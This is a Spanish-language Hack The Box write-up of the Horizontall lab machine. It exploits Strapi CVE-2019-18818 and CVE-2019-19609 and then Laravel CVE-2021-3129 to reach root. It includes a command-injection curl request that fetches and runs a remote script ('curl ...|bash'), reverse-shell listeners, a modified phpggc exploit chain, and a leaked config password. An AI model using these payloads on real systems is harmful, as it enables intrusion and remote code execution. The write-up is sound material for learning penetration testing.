This page looks best with JavaScript enabled

Hack The Box - Horizontall

 •  ✍️ sckull

En Horizontall descubrimos Strapi, explotamos multiples vulnerabilidades lo que nos permitió el acceso a la máquina. Escalamos privilegios explotando una vulnerabilidad en Laravel.

Nombre Horizontall box_img_maker
OS

Linux

Puntos 20
Dificultad Facil
IP 10.10.11.105
Maker

wail99

Matrix
{
   "type":"radar",
   "data":{
      "labels":["Enumeration","Real-Life","CVE","Custom Explotation","CTF-Like"],
      "datasets":[
         {
            "label":"User Rate",  "data":[5.8, 5.3, 6.1, 3.9, 4.7],
            "backgroundColor":"rgba(75, 162, 189,0.5)",
            "borderColor":"#4ba2bd"
         },
         { 
            "label":"Maker Rate",
            "data":[6, 9, 10, 0, 1],
            "backgroundColor":"rgba(154, 204, 20,0.5)",
            "borderColor":"#9acc14"
         }
      ]
   },
    "options": {"scale": {"ticks": {"backdropColor":"rgba(0,0,0,0)"},
            "angleLines":{"color":"rgba(255, 255, 255,0.6)"},
            "gridLines":{"color":"rgba(255, 255, 255,0.6)"}
        }
    }
}

Recon

nmap

Escaneo de puertos con nmap nos muestra multiples puertos abiertos: http (80), ssh (22).

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
Nmap scan report for horizontall.htb (10.10.11.105)
Host is up (0.39s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 ee:77:41:43:d4:82:bd:3e:6e:6e:50:cd:ff:6b:0d:d5 (RSA)
|   256 3a:d5:89:d5:da:95:59:d9:df:01:68:37:ca:d5:10:b0 (ECDSA)
|_  256 4a:00:04:b4:9d:29:e7:af:37:16:1b:4f:80:2d:98:94 (ED25519)
80/tcp open  http    nginx 1.14.0 (Ubuntu)
|_http-server-header: nginx/1.14.0 (Ubuntu)
|_http-title: horizontall
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .

Web Site

Encontramos lo que parece ser una pagina estática, tras verificar el codigo fuente vemos que existe codigo Javascript y que se podria tratar de una app escrita en este lenguaje o algun Framework derivado.
image

El archivo app.c68eb462.js contiene codigo Javascript, vemos dentro del codigo una variable que contiene un metodo que obtiene opiniones desde una “API” que se encuentra en un subdominio. Además al final, vemos un comentario con un nombre de un archivo que pertenece al Mapa Fuente.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
// [ ... REDACTED ...]

y = {
    name: "App",
    components: {
        Navbar: v,
        Home: w
    },
    data: function() {
        return {
            reviews: []
        }
    },
    methods: {
        getReviews: function() {
            var t = this;
            r.a.get("http://api-prod.horizontall.htb/reviews").then((function(s) {
                return t.reviews = s.data
            }))
        }
    }
}

//[ ... REDACTED ...]

//# sourceMappingURL=app.c68eb462.js.map

Tras obtener el archivo (app.c68eb462.js.map) vemos los diferentes componentes de la app, está utilizando VueJS. Observamos tambien una solicitud hecha con axios para mostrar información de los “reviews” misma que se presentó anteriormente, lo que indica que podria ser el codigo fuente de la app del dominio principal.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
import axios from 'axios'
import Navbar from './components/Navbar.vue'
import Home from './components/Home.vue'
export default {
  name: 'App',
  components: {
    Navbar,
    Home
  },
  data(){
    return {
      reviews:[],
    }
  },
  methods:{
    getReviews(){
      axios.get('http://api-prod.horizontall.htb/reviews')
      .then(response => this.reviews = response.data)
    }
  }
}

Tras visitar el subdmonio vemos solo un mensaje: “Welcome”.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
 π ~/htb/horizontall ❯ curl -s http://api-prod.horizontall.htb
<!doctype html>

<html>
  <head>
    <meta charset="utf-8" />
    <meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1" />
    <title>Welcome to your API</title>
    <meta name="viewport" content="width=device-width, initial-scale=1" />
    <style>
    </style>
  </head>
  <body lang="en">
    <section>
      <div class="wrapper">
        <h1>Welcome.</h1>
      </div>
    </section>
  </body>
</html>
 π ~/htb/horizontall ❯

Directory Brute Forcing

feroxbuster muestra las direcciones de recursos de la pagina.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
 π ~/htb/horizontall ❯ feroxbuster -u http://horizontall.htb/ -w $MD -x js,txt,xml

 ___  ___  __   __     __      __         __   ___
|__  |__  |__) |__) | /  `    /  \ \_/ | |  \ |__
|    |___ |  \ |  \ | \__,    \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓                 ver: 2.3.0
───────────────────────────┬──────────────────────
 🎯  Target Url            │ http://horizontall.htb/
 🚀  Threads               │ 50
 📖  Wordlist              │ /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
 👌  Status Codes          │ [200, 204, 301, 302, 307, 308, 401, 403, 405]
 💥  Timeout (secs)7
 🦡  User-Agent            │ feroxbuster/2.3.0
 💉  Config File           │ /etc/feroxbuster/ferox-config.toml
 💲  Extensions            │ [js, txt, xml]
 🔃  Recursion Depth       │ 4
 🎉  New Version Available │ https://github.com/epi052/feroxbuster/releases/latest
───────────────────────────┴──────────────────────
 🏁  Press [ENTER] to use the Scan Cancel Menu™
──────────────────────────────────────────────────
301        7l       13w      194c http://horizontall.htb/img
301        7l       13w      194c http://horizontall.htb/css
301        7l       13w      194c http://horizontall.htb/js

Tambien ejecutamos feroxbuster en el subdominio, vemos dos nuevas rutas: users, admin.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
 π ~/htb/horizontall ❯ feroxbuster -u http://api-prod.horizontall.htb/ -w $MD

 ___  ___  __   __     __      __         __   ___
|__  |__  |__) |__) | /  `    /  \ \_/ | |  \ |__
|    |___ |  \ |  \ | \__,    \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓                 ver: 2.3.0
───────────────────────────┬──────────────────────
 🎯  Target Url            │ http://api-prod.horizontall.htb/
 🚀  Threads               │ 50
 📖  Wordlist              │ /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
 👌  Status Codes          │ [200, 204, 301, 302, 307, 308, 401, 403, 405]
 💥  Timeout (secs)7
 🦡  User-Agent            │ feroxbuster/2.3.0
 💉  Config File           │ /etc/feroxbuster/ferox-config.toml
 🔃  Recursion Depth       │ 4
 🎉  New Version Available │ https://github.com/epi052/feroxbuster/releases/latest
───────────────────────────┴──────────────────────
 🏁  Press [ENTER] to use the Scan Cancel Menu™
──────────────────────────────────────────────────
200        1l       21w      507c http://api-prod.horizontall.htb/reviews
403        1l        1w       60c http://api-prod.horizontall.htb/users
200       16l      101w      854c http://api-prod.horizontall.htb/admin
200        1l       21w      507c http://api-prod.horizontall.htb/Reviews
403        1l        1w       60c http://api-prod.horizontall.htb/Users
200       16l      101w      854c http://api-prod.horizontall.htb/Admin
200        1l       21w      507c http://api-prod.horizontall.htb/REVIEWS
[####################] - 11m   220545/220545  0s      found:7       errors:5
[####################] - 11m   220545/220545  324/s   http://api-prod.horizontall.htb/
 π ~/htb/horizontall ❯

En /users solo retorna un mensaje de error.

1
{"statusCode":403,"error":"Forbidden","message":"Forbidden"}

Strapi

En /admin vemos un login donde se muestra strapi, este es un sistema gestor de contenidos (CMS).
image

Utilizamos Burpsuite para capturar las solicitudes, entre ellas encontramos información, el entorno: en Desarrollo, y la version de strapi: 3.0.0-beta.17.4.
image

Mediante la documentacion intentamos registrar un usuario con curl pero parece no estar disponible dicha ruta.

1
2
3
 π ~/htb/horizontall ❯ curl -sX POST http://api-prod.horizontall.htb/admin/local/register -H 'Content-Type: application/json' -d '{"username":"sckull","email":"sckull@strapi.io","password":"123@Abc"}'
{"statusCode":404,"error":"Not Found","message":"Not Found"}
π ~/htb/horizontall ❯

Admin

Con la opción Olvidaste tu contraseña? realizamos una “enumeracion” de posibles correos (nombres de usuario comunes) tomando como dominio horizontall.htb, el usuario admin es el unico que no mostró el error: ‘This email does not exit’, y consideramos este como existente y válido.

Vulnerabilidades

Vemos en snyk.io multiples vulnerabilidades para la version que encontramos. Improper Access Control, este no maneja de manera “correcta” al restablecer contraseñas, además cuenta con un CVE: CVE-2019-18818. Tambien encontramos Arbitrary Code Injection, este permite ejecutar comandos en la instalacion de un plugin, intentamos replicar esta vulnerabilidad pero es necesario un token.

User - Strapi

Improper Access Control

Encontramos información sobre el CVE-2019-18818 donde muestra que al enviar una solicitud para restablecer una contraseña el servidor responde con información del primer usuario en la base de datos, tambien encontramos un post que presenta un pequeño exploit. Tras replicar esto en una solicitud en Burpsuite vemos el token y usuario.

image

Code Injection

Con el token que tenemos podemos replicar la explotación (CVE-2019-19609). Creamos primero un pequeño servidor en python y un archivo con shell inversa.

1
2
python3 -m http.server 80
wget -q https://shell.infosecjack.me/10.10.20.21:1337 -O sc

Creamos nuestra solicitud, cambiando el comando para ejecutar nuestra propia shell.

1
2
3
4
5
6
curl -i -sX POST -H 'Host: api-prod.horizontall.htb' \
    -H 'Authorization: Bearer eyJhbGciOiJIUzI1N[.. snip ..]l9pTlqYM'\ 
    -H 'Content-Type: application/json'\
    -H 'Origin: http://api-prod.horizontall.htb' \
    --data '{"plugin":"documentation && $(curl 10.10.14.24/sc|bash)","port":"80"}'\
    http://api-prod.horizontall.htb/admin/plugins/install

Shell

Tras enviar la solicitud logramos obtener una shell como strapi y realizar la lectura de user.txt.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
 π ~/htb/horizontall ❯ bash -c 'rlwrap nc -lvp 1338'
listening on [any] 1338 ...
connect to [10.10.14.24] from horizontall.htb [10.10.11.105] 39238
can't access tty; job control turned off
which python
/usr/bin/python
python -c 'import pty; pty.spawn("/bin/bash");'
strapi@horizontall:~/myapi$ whoami; id; pwd
strapi
uid=1001(strapi) gid=1001(strapi) groups=1001(strapi)
/opt/strapi/myapi
strapi@horizontall:~/myapi$ cd /home
strapi@horizontall:/home$ ls
developer
strapi@horizontall:/home$ cd developer
strapi@horizontall:/home/developer$ ls
composer-setup.php  myproject  user.txt
strapi@horizontall:/home/developer$ cat user.txt
8d625405c35dbaef6e6a480d88213e6a
strapi@horizontall:/home/developer$

Vemos las credenciales dentro de los archivos de configuración de strapi, pero no se muestran credenciales dentro de la base de datos para cambiar a otro usuario.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
strapi@horizontall:~/myapi/config/environments/development$ ls -lah
total 32K
drwxr-xr-x 2 strapi strapi 4.0K Jul 29 04:38 .
drwxr-xr-x 5 strapi strapi 4.0K May 26 14:31 ..
-rw-r--r-- 1 strapi strapi  135 May 26 14:31 custom.json
-rw-rw-r-- 1 strapi strapi  351 May 26 14:31 database.json
-rw-r--r-- 1 strapi strapi  439 May 26 14:31 request.json
-rw-r--r-- 1 strapi strapi  164 May 26 14:31 response.json
-rw-r--r-- 1 strapi strapi  529 May 26 14:31 security.json
-rw-r--r-- 1 strapi strapi  159 May 26 14:31 server.json
strapi@horizontall:~/myapi/config/environments/development$ cat database.json
{
  "defaultConnection": "default",
  "connections": {
    "default": {
      "connector": "strapi-hook-bookshelf",
      "settings": {
        "client": "mysql",
        "database": "strapi",
        "host": "127.0.0.1",
        "port": 3306,
        "username": "developer",
        "password": "#J!:F9Zt2u"
      },
      "options": {}
    }
  }
}
strapi@horizontall:~/myapi/config/environments/development$

Privesc

Enumeramos los puertos abiertos y vemos tres puertos, el puerto 3306 pertenece al puerto de MySQL, el 1337 a istrapi y finalmente, 8000 el cual no vemos algun proceso.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
strapi@horizontall:~$ netstat -ntpl
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name
tcp        0      0 127.0.0.1:3306          0.0.0.0:*               LISTEN      -
tcp        0      0 0.0.0.0:80              0.0.0.0:*               LISTEN      -
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      -
tcp        0      0 127.0.0.1:1337          0.0.0.0:*               LISTEN      1760/node /usr/bin/
tcp        0      0 127.0.0.1:8000          0.0.0.0:*               LISTEN      -
tcp6       0      0 :::80                   :::*                    LISTEN      -
tcp6       0      0 :::22                   :::*                    LISTEN      -
strapi@horizontall:~$

Vemos strapi en la configuracion de nginx.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
strapi@horizontall:/etc/nginx/sites-available$ cat * | grep -v "#"
server {
    listen 80;
    listen [::]:80;
    server_name horizontall.htb www.horizontall.htb;
    root /var/www/html/horizontall;
    index index.html index.htm;
    location / {
        try_files $uri $uri/ =404;
    }
}

server {
     listen [::]:80;
     listen 80;

     server_name api-prod.horizontall.htb;

     location / {
          proxy_pass http://localhost:1337;
          proxy_http_version 1.1;
          proxy_set_header Upgrade $http_upgrade;
          proxy_set_header Connection 'upgrade';
          proxy_set_header Host $host;
          proxy_cache_bypass $http_upgrade;
    }
}


server {
    listen 80 default_server;
    listen [::]:80 default_server;
    return 301 http://horizontall.htb;
}
strapi@horizontall:/etc/nginx/sites-available$

Laravel - CVE-2021-3129

Aunque al realizar una solicitud vemos la version de laravel: 7.4.18. Verificamos si la version tiene alguna vulnerabilidad aunque no encontramos ninguna relacionada a esta version, encontramos una más reciente: CVE-2021-3129.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
strapi@horizontall:~$ curl -s http://127.0.0.1:8000|tail
                    </div>

                    <div class="ml-4 text-center text-sm text-gray-500 sm:text-right sm:ml-0">
                            Laravel v8 (PHP v7.4.18)
                    </div>
                </div>
            </div>
        </div>
    </body>
</html>
strapi@horizontall:~$

Exploit

Descubrimos un repositorio donde vemos un exploit que, utilizamos para explotar la vulnerabilidad de RCE de Laravel, descargando el repositorio ZIP en la maquina, tras ejecutar el exploit vemos que la mayoria de las “versiones” funcionan.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
strapi@horizontall:~/CVE-2021-3129-main$ python3 exp.py http://127.0.0.1:8000
[*] Try to use Laravel/RCE1 for exploitation.
[+]exploit:
[*] Laravel/RCE1 Result:


[*] Try to use Laravel/RCE2 for exploitation.
[+]exploit:
[*] Laravel/RCE2 Result:

uid=0(root) gid=0(root) groups=0(root)

[*] Try to use Laravel/RCE3 for exploitation.
[+]exploit:
[*] Laravel/RCE3 Result:


[*] Try to use Laravel/RCE4 for exploitation.
[+]exploit:
[*] Laravel/RCE4 Result:

uid=0(root) gid=0(root) groups=0(root)

[*] Try to use Laravel/RCE5 for exploitation.
[+]exploit:
[*] Laravel/RCE5 Result:

uid=0(root) gid=0(root) groups=0(root)

[*] Try to use Laravel/RCE6 for exploitation.
[+]exploit:
[*] Laravel/RCE6 Result:

uid=0(root) gid=0(root) groups=0(root)

[*] Try to use Laravel/RCE7 for exploitation.
[+]exploit:
[*] Laravel/RCE7 Result:


[*] Try to use Monolog/RCE1 for exploitation.
[+]exploit:
[*] Monolog/RCE1 Result:

uid=0(root) gid=0(root) groups=0(root)

[*] Try to use Monolog/RCE2 for exploitation.
[+]exploit:
[*] Monolog/RCE2 Result:

uid=0(root) gid=0(root) groups=0(root)

[*] Try to use Monolog/RCE3 for exploitation.
[+]exploit:
[*] Monolog/RCE3 Result:


[*] Try to use Monolog/RCE4 for exploitation.
[+]exploit:
[*] Monolog/RCE4 Result:


strapi@horizontall:~/CVE-2021-3129-main$

Shell

Modificamos el exploit para ejecutar una shell inversa como en User - Strapi.

1
2
3
4
5
6
7
class EXP:
    #这里还可以增加phpggc的使用链,经过测试发现RCE5可以使用
    __gadget_chains = {
        [.. snip ..]
        "Laravel/RCE6":r"""
         php -d "phar.readonly=0" ./phpggc Laravel/RCE6 "system(' curl 10.10.14.24/sc|bash ');" --phar phar -o php://output | base64 -w 0 | python -c "import sys;print(''.join(['=' + hex (ord(i))[2:] + '=00' for i in sys.stdin.read()]).upper())"
        """,

Logramos obtener acceso root y la flag root.txt.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
 π ~/htb/horizontall ❯ bash -c 'rlwrap nc -lvp 1338'
listening on [any] 1338 ...
connect to [10.10.14.24] from horizontall.htb [10.10.11.105] 40020
/bin/sh: 0: can't access tty; job control turned off
python -c 'import pty;pty.spawn("/bin/bash");'
whoami; id; pwd
whoami; id; pwd
root
uid=0(root) gid=0(root) groups=0(root)
/home/developer/myproject/public
cd
cd
ls
ls
boot.sh  pid  restart.sh  root.txt
cat root.txt
cat root.txt
9a48fa6338ba86de7204da0255c9c8bc
root@horizontall:~#
Share on

Dany Sucuc
WRITTEN BY
sckull
RedTeamer & Pentester wannabe